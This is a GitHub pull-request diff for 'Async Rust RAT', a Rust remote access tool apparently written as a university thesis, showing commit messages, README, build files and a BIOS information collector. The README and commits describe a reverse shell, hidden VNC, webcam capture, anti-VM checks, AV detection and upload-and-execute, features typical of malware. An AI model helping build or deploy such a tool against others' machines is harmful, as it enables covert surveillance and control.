Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
89 commits
Select commit Hold shift + click to select a range
9fbaf7e
Merge pull request #19 from pathetic/webcam-fix
pathetic Apr 23, 2025
16455f1
some cleaning on client side - Refs #12
pathetic Apr 23, 2025
f3a2448
idk what i did
pathetic Apr 23, 2025
3f3010d
fixed server cpu wierd usage when client disconnecting (had to close …
pathetic Apr 23, 2025
8839a84
client builder fixed and cleaned - Fixes #21, Refs #12
pathetic Apr 23, 2025
e91a1dc
hvnc v1 poc (need to implement it fully) - Refs #10
pathetic Apr 23, 2025
22b8fba
Better UI :)
pathetic Apr 23, 2025
6db5d71
some more ui stuff, will start working on fixing hvnc on elevated cli…
pathetic Apr 24, 2025
93a4723
cleaned hvnc
pathetic Apr 24, 2025
13330c3
oopsies?
pathetic Apr 24, 2025
5e7abd9
added country flags
PaulDotSH Apr 25, 2025
a6ace80
update client deps
PaulDotSH Apr 25, 2025
bfd3be2
replace net2 with socket2
PaulDotSH Apr 25, 2025
fd9a365
Delete .cargo/config.toml
PaulDotSH Apr 25, 2025
d0f93d8
updated country flags
pathetic Apr 25, 2025
008fb6b
Merge pull request #25 from pathetic/country_flags - Refs #22
pathetic Apr 25, 2025
a46100a
Merge branch 'main' into update-client-deps
pathetic Apr 25, 2025
5c120f3
Merge pull request #26 from pathetic/update-client-deps
pathetic Apr 25, 2025
030d783
add upload and execute, upload, execute to file manager
PaulDotSH Apr 25, 2025
71822a8
Merge pull request #30 from pathetic/add-upload-and-execute
PaulDotSH Apr 25, 2025
197e3cc
tauri v2 working
pathetic Apr 25, 2025
0d68daa
Merge branch 'main' into tauriv2
pathetic Apr 25, 2025
d8eab9d
Merge pull request #32 from pathetic/tauriv2
pathetic Apr 25, 2025
62d8070
fixed the fucking previous merge im stupid
pathetic Apr 25, 2025
7cf61f3
webviews & windows resizing issue fixed, added worldmap - Fixes #22 ,…
pathetic Apr 26, 2025
ae1428d
forgot some files???
pathetic Apr 26, 2025
acdad27
added localhost and total clients in svg world map :)
pathetic Apr 27, 2025
9530bd2
better svgs for total clients and localhost + cleaner code
pathetic Apr 27, 2025
9b0cb1f
updated tauri js api
pathetic Apr 27, 2025
492269e
Update README.md
pathetic Apr 29, 2025
4cba7aa
Forgot to add release profile... 2.8mb->1.4mb -Refs #17, more details…
pathetic May 1, 2025
4e266ec
client size 1mb (can reduce more if we get rid of the screenshots cra…
pathetic May 2, 2025
9c7419d
close all windows on exit - Fixes #37, implemented fun features (must…
pathetic May 2, 2025
253d8c5
fix crash on startup on some systems
PaulDotSH May 2, 2025
2ca2ea2
basic tts
PaulDotSH May 2, 2025
c502f63
no need for more custom logic to send commands with text params, only…
pathetic May 3, 2025
36601b5
Merge pull request #48 from pathetic/fix-monitor_enum_proc
pathetic May 3, 2025
a4012d7
Merge pull request #49 from pathetic/tts-feature - Refs #11
pathetic May 3, 2025
fcf6f04
forgot files
pathetic May 3, 2025
3ce3ba9
Merge pull request #50 from pathetic/tts-feature
pathetic May 3, 2025
45d2d7d
implemented piano and beep sounds :) also cleaned a little bit the tr…
pathetic May 3, 2025
6b41b52
Merge pull request #51 from pathetic/piano_and_beep
pathetic May 3, 2025
c26be7d
process viewer now has suspend/resume + start process
pathetic May 3, 2025
3b7432b
Merge pull request #52 from pathetic/process-viewer-improvement - Fix…
pathetic May 3, 2025
1049c8b
well kind of fixed?
pathetic May 3, 2025
b7d16a9
Merge pull request #53 from pathetic/remote-desktop-improvements - Re…
pathetic May 3, 2025
63b500a
removed unused shit
pathetic May 3, 2025
3ffca1b
readded webcam, it's +50kb it's whatever at this point stub size is 1mb
pathetic May 3, 2025
09a7c75
better system info and ClientInfo struct has a better structure now
pathetic May 4, 2025
b2cef34
when clicking on a user in the client list on the client info window,…
pathetic May 4, 2025
5f2cba3
Merge pull request #54 from pathetic/system-information-update - Fixe…
pathetic May 4, 2025
b04d3b7
cleaned troll feats a little and moved fun to their own features also…
pathetic May 4, 2025
b14e0e4
some final cleanups
pathetic May 4, 2025
c09c98e
added inputbox - Fixes #47 , also fixed some event listeners on front…
pathetic May 4, 2025
1ceb5d1
fixed system collectors powershell commands
pathetic May 6, 2025
c432f1d
file manager bug fixed
pathetic May 6, 2025
70e8166
fixed tooltip in worldmap and colours
pathetic May 8, 2025
7cf970d
fix npm run build not compiling + removed useless comments
pathetic May 9, 2025
4f19fb2
forget files
pathetic May 9, 2025
2561342
color fixes
pathetic May 9, 2025
d403663
tray icon - Refs #56, need to find out how to close the trayicon upon…
pathetic May 23, 2025
b72c697
world map is done (better one)
pathetic Jun 5, 2025
2d819a3
some comments removed
pathetic Jun 5, 2025
7ec717e
rcedit better handling
pathetic Jun 10, 2025
4d09d2f
git attributes
pathetic Jun 10, 2025
5eabe32
remove rcedit binary
pathetic Jun 10, 2025
9921c4d
Delete target directory
pathetic Jun 10, 2025
308e808
Update README.md
pathetic Jun 11, 2025
68d1756
Updated package version and name; Better resource handling (rcedit / …
pathetic Jun 11, 2025
57a5fd4
Forgot files :P
pathetic Jun 11, 2025
4924698
Added preloading for country flags because they weren't imported in p…
pathetic Jun 11, 2025
043db3c
Update README.md
pathetic Jun 11, 2025
d1958f5
Update README.md
pathetic Jun 11, 2025
a34ec76
Fixed UUID dep
pathetic Jun 11, 2025
7dceee9
Fixed build issue
pathetic Jun 11, 2025
1301532
basic linux implementation
PaulDotSH Jun 15, 2025
5f4d95d
add linux support for cpu, gpu info
PaulDotSH Jun 15, 2025
92e1b60
add mac address and serial detection
PaulDotSH Jun 16, 2025
ea60cba
add firewall detection and av detection on linux
PaulDotSH Jun 16, 2025
a53b385
fix mac addresses
PaulDotSH Jun 16, 2025
7187cde
file manager support
PaulDotSH Jun 16, 2025
7339488
remove linksection
PaulDotSH Jun 16, 2025
e2e073f
fix some clippy lints
PaulDotSH Jun 16, 2025
6663a9b
uac
PaulDotSH Jun 16, 2025
57db32b
system commands linux
PaulDotSH Jun 16, 2025
6add868
basic remote desktop & screenshot
PaulDotSH Jun 16, 2025
6ffc0f1
remove unused imports and code
PaulDotSH Jun 16, 2025
3878eee
remove unnecessary dep
PaulDotSH Jun 16, 2025
95c3721
add install and mutex support for linux
PaulDotSH Jun 17, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
3 changes: 3 additions & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
*.rs linguist-detectable=true
*.ts linguist-detectable=true
*.tsx linguist-detectable=false
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ target/debug/
target/release/
target/.rustc_info.json
target/CACHEDIR.TAG
target/

# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Expand Down Expand Up @@ -55,3 +56,5 @@ v2.png

server/src-tauri/icons/old
server/src-tauri/icons/old2

.tauri_installer_assets_staging/
8 changes: 4 additions & 4 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
[workspace]
members = ["server/src-tauri", "client", "common"]
resolver = "2"

[profile.release]
strip = true
opt-level = "z"
lto = true
codegen-units = 1

# [profile.release.package.server]
# debug = true
# debug-assertions = true
panic = "abort"
51 changes: 34 additions & 17 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,26 +1,38 @@
# Rust RAT
<img src="/server/src-tauri/icons/512x512.png" alt="logo" title="bloodin" align="right" height="60px" />

# Async Rust RAT
**WORK IN PROGRESS — If you have suggestions or find issues, please create an issue on the GitHub repository.**

<p align="center">
<strong>A Free and Open-Source Remote Administration Tool for Windows, built with Rust.</strong><br>
<em>This project was developed as part of my university thesis during my final year.</em>
</p>

---

## ⚠️ Responsible Use

<p align="center">
<b>A free and open-source Remote Administration Tool for Windows coded in Rust.</b><br>
<i>This project was the focus of my thesis during my final year of university.</i>
<strong>This tool is designed for legitimate system administration, research, and educational purposes.</strong><br>
<em>Always ensure you have explicit permission and proper authorization before connecting to or managing any system. Unauthorized access or use is strictly prohibited.</em>
</p>

# 🚧 Disclaimer
---

<p align="center">This program is for educational purposes only.</p>
<p align="center">How you use this program is your responsibility.</p>
<p align="center">I will not be held accountable for any illegal activities.</p>
## 🖼️ Screenshots

# 🖼️ Screenshots:
![Home](images/home.png)

![home](images/home.png)
For more images, see [IMAGES.md](IMAGES.md).

See [IMAGES.md](IMAGES.md) for more screenshots.
---

# 🔱 Features:
## 🔱 Features

- [x] System Information
- [x] Desktop Screenshot
- [x] Webcam Capture
- [ ] HVNC *(in development)*
- [x] Remote Desktop
- [x] File Manager
- [x] Reverse Shell
Expand All @@ -32,13 +44,18 @@ See [IMAGES.md](IMAGES.md) for more screenshots.
- [x] System Control (Shutdown, Restart, Log Out)
- [x] Connection Manager
- [x] Logging
- [x] Client builder (assembly info, install, antivm, icon, etc)
- [ ] More Features To Come!
- [x] World Map
- [x] Client Builder (assembly info, installation, anti-VM, icon customization, etc.)
- [ ] More Features Coming Soon!

---

## 🛠️ Building & Contributing

# 🔨 Building and working on the code:
To learn how to build or contribute to this project, please refer to [USERMANUAL.md](USERMANUAL.md).

See [USERMANUAL.md](USERMANUAL.md).
---

# License
## 📄 License

Rust RAT is distributed under the [MIT License](LICENSE).
**Async Rust RAT** is distributed under the [MIT License](LICENSE).
4 changes: 2 additions & 2 deletions USERMANUAL.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,8 +16,8 @@ Compile the client and the server in debug mode with the following commands: `ca
# Releasing for production

To release the code for production, consider the following steps. Compiling the server in release mode is not recommended for a Tauri project, as it's simpler to create a Windows installer without extra folders from the compiling process. Instead of removing unnecessary files and folders from the release folder, it's more efficient to use the built tools directly.
Navigate to the server directory, open a command prompt, and run `npm run tauri build`. This command should produce two bundles: an MSI installer and an NSIS installer. You may use either.
The final step is to copy the pre-built client binary from before into the root folder of the server installation location. This step is necessary for the client builder feature in the server.
First of all, you need to run the `prepare_prod_build.bat` script. This will prepare the release for the server.
Navigate to the server directory, open a command prompt, and run `npm run tauri build`. (Make sure to have npm packages installed by running `npm install` in the server directory.) This command should produce two bundles: an MSI installer and an NSIS installer. You may use either.

# Working on the code

Expand Down
39 changes: 19 additions & 20 deletions client/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -4,27 +4,26 @@ version = "0.1.0"
edition = "2021"

[dependencies]
winapi = { version = "0.3.9", features = ["synchapi", "errhandlingapi", "dxgi1_2", "winerror", "wingdi", "winuser", "securitybaseapi", "winuser","wincon","shellapi"] }
screenshots = "0.8.10"
sysinfo = "0.30.10"
sysinfo = { version = "0.35.0", default-features = false, features = ["system", "disk"] }
common = { path = "../common" }
rand = "0.8.5"
rmp-serde = "1.2.0"
rand_chacha = "0.3.1"
rsa = "0.5.0"
lazy_static = "1.4.0"
once_cell = "1.19.0"
tokio = { version = "1.20.1", features = ["rt", "full"] }
bytes = "1.1"
net2 = "0.2.39"
wmi = "0.17.0"
windows = { version = "0.61", features = ["Win32_System_Diagnostics_Debug", "Win32_System_Wmi", "Win32_System_Com"] }
rmp-serde = "1.3.0"
rsa = "0.9.8"
rand_chacha = "0.9.0"
rand = "0.9.1"
once_cell = "1.21.3"
tokio = { version = "1", features = ["rt-multi-thread", "macros"] }
serde = { version = "1.0", features = ["derive"] }
socket2 = "0.5"
image = { version = "0.24", default-features = false, features = ["jpeg", "png"] }

[target.'cfg(windows)'.dependencies]
winapi = { version = "0.3.9", features = ["libloaderapi", "tlhelp32", "utilapiset", "errhandlingapi", "dxgi1_2", "winerror", "synchapi", "securitybaseapi", "winuser", "wincon", "shellapi", "oleauto", "wingdi", "minwindef", "windef"] }
wmi = "0.17.1"
nokhwa = { version = "0.10.7", features = ["input-native"] }
winreg = "0.55.0"

[profile.release]
lto = true
opt-level = 'z'
strip = true
codegen-units = 1
panic = "abort"
[target.'cfg(unix)'.dependencies]
nokhwa = { version = "0.10.7", features = ["input-native"] }
libc = "0.2"
x11rb = { version = "0.12.0", features = ["all-extensions"] }
x11rb-protocol = "0.12.0"
45 changes: 0 additions & 45 deletions client/src/features/av_detection.rs

This file was deleted.

113 changes: 113 additions & 0 deletions client/src/features/collectors/bios.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
#[cfg(windows)]
mod windows {
use std::collections::HashMap;
use wmi::{COMLibrary, Variant, WMIConnection};
use tokio::task;
use common::client_info::BiosInfo;

pub async fn collect_bios_info() -> BiosInfo {
task::spawn_blocking(|| {
let com = COMLibrary::new().ok().unwrap();
let wmi = WMIConnection::with_namespace_path("root\\cimv2", com).ok().unwrap();

let results: Vec<HashMap<String, Variant>> = wmi
.raw_query("SELECT Manufacturer, Description, SerialNumber, SMBIOSBIOSVersion FROM Win32_BIOS")
.ok().unwrap();

let first = results.into_iter().next().unwrap();

BiosInfo {
manufacturer: first.get("Manufacturer").and_then(|v| v.clone().try_into().ok()).unwrap_or_else(|| "Unknown".to_string()),
description: first.get("Description").and_then(|v| v.clone().try_into().ok()).unwrap_or_else(|| "Unknown".to_string()),
serial_number: first.get("SerialNumber").and_then(|v| v.clone().try_into().ok()).unwrap_or_else(|| "Unknown".to_string()),
version: first.get("SMBIOSBIOSVersion").and_then(|v| v.clone().try_into().ok()).unwrap_or_else(|| "Unknown".to_string()),
}
}).await.unwrap_or(BiosInfo {
manufacturer: "Unknown".to_string(),
description: "Unknown".to_string(),
serial_number: "Unknown".to_string(),
version: "Unknown".to_string(),
})
}
}

#[cfg(unix)]
mod unix {
use std::process::Command;
use tokio::task;
use common::client_info::BiosInfo;

pub async fn collect_bios_info() -> BiosInfo {
task::spawn_blocking(|| {
let manufacturer = Command::new("dmidecode")
.args(["-s", "bios-vendor"])
.output()
.ok()
.and_then(|output| {
if output.status.success() {
String::from_utf8(output.stdout).ok()
} else {
None
}
})
.unwrap_or_else(|| "Unknown".to_string());

let description = Command::new("dmidecode")
.args(["-s", "bios-version"])
.output()
.ok()
.and_then(|output| {
if output.status.success() {
String::from_utf8(output.stdout).ok()
} else {
None
}
})
.unwrap_or_else(|| "Unknown".to_string());

let serial_number = Command::new("dmidecode")
.args(["-s", "system-serial-number"])
.output()
.ok()
.and_then(|output| {
if output.status.success() {
String::from_utf8(output.stdout).ok()
} else {
None
}
})
.unwrap_or_else(|| "Unknown".to_string());

let version = Command::new("dmidecode")
.args(["-s", "bios-release-date"])
.output()
.ok()
.and_then(|output| {
if output.status.success() {
String::from_utf8(output.stdout).ok()
} else {
None
}
})
.unwrap_or_else(|| "Unknown".to_string());

BiosInfo {
manufacturer,
description,
serial_number,
version,
}
}).await.unwrap_or(BiosInfo {
manufacturer: "Unknown".to_string(),
description: "Unknown".to_string(),
serial_number: "Unknown".to_string(),
version: "Unknown".to_string(),
})
}
}

#[cfg(windows)]
pub use windows::*;

#[cfg(unix)]
pub use unix::*;
Loading